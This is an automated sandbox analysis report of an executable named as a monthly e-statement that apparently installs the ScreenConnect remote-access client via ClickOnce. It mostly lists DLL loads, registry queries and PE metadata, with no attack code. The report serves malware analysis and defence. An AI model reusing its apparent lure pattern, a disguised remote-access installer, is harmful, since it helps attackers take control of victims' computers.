Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wlidsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gamestreamingext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msauserext.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptnet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptngc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptprov.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elscore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: elstrans.dll

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020420-0000-0000-C000-000000000046}\InprocServer32

Jump to behavior

Reads internet explorer settings

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Uses Microsoft Silverlight

Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

PE / OLE file has a valid certificate

Source: monthly-eStatementForum120478962.Client.exe

Static PE information: certificate valid

PE file contains a mix of data directories often seen in goodware

Source: monthly-eStatementForum120478962.Client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: monthly-eStatementForum120478962.Client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: monthly-eStatementForum120478962.Client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: monthly-eStatementForum120478962.Client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: monthly-eStatementForum120478962.Client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: monthly-eStatementForum120478962.Client.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: monthly-eStatementForum120478962.Client.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

PE file contains a debug data directory

Source: monthly-eStatementForum120478962.Client.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Binary contains paths to debug symbols

Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbU source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B424A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4325000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B3EBB000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1569312203.0000000002F12000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb source: monthly-eStatementForum120478962.Client.exe
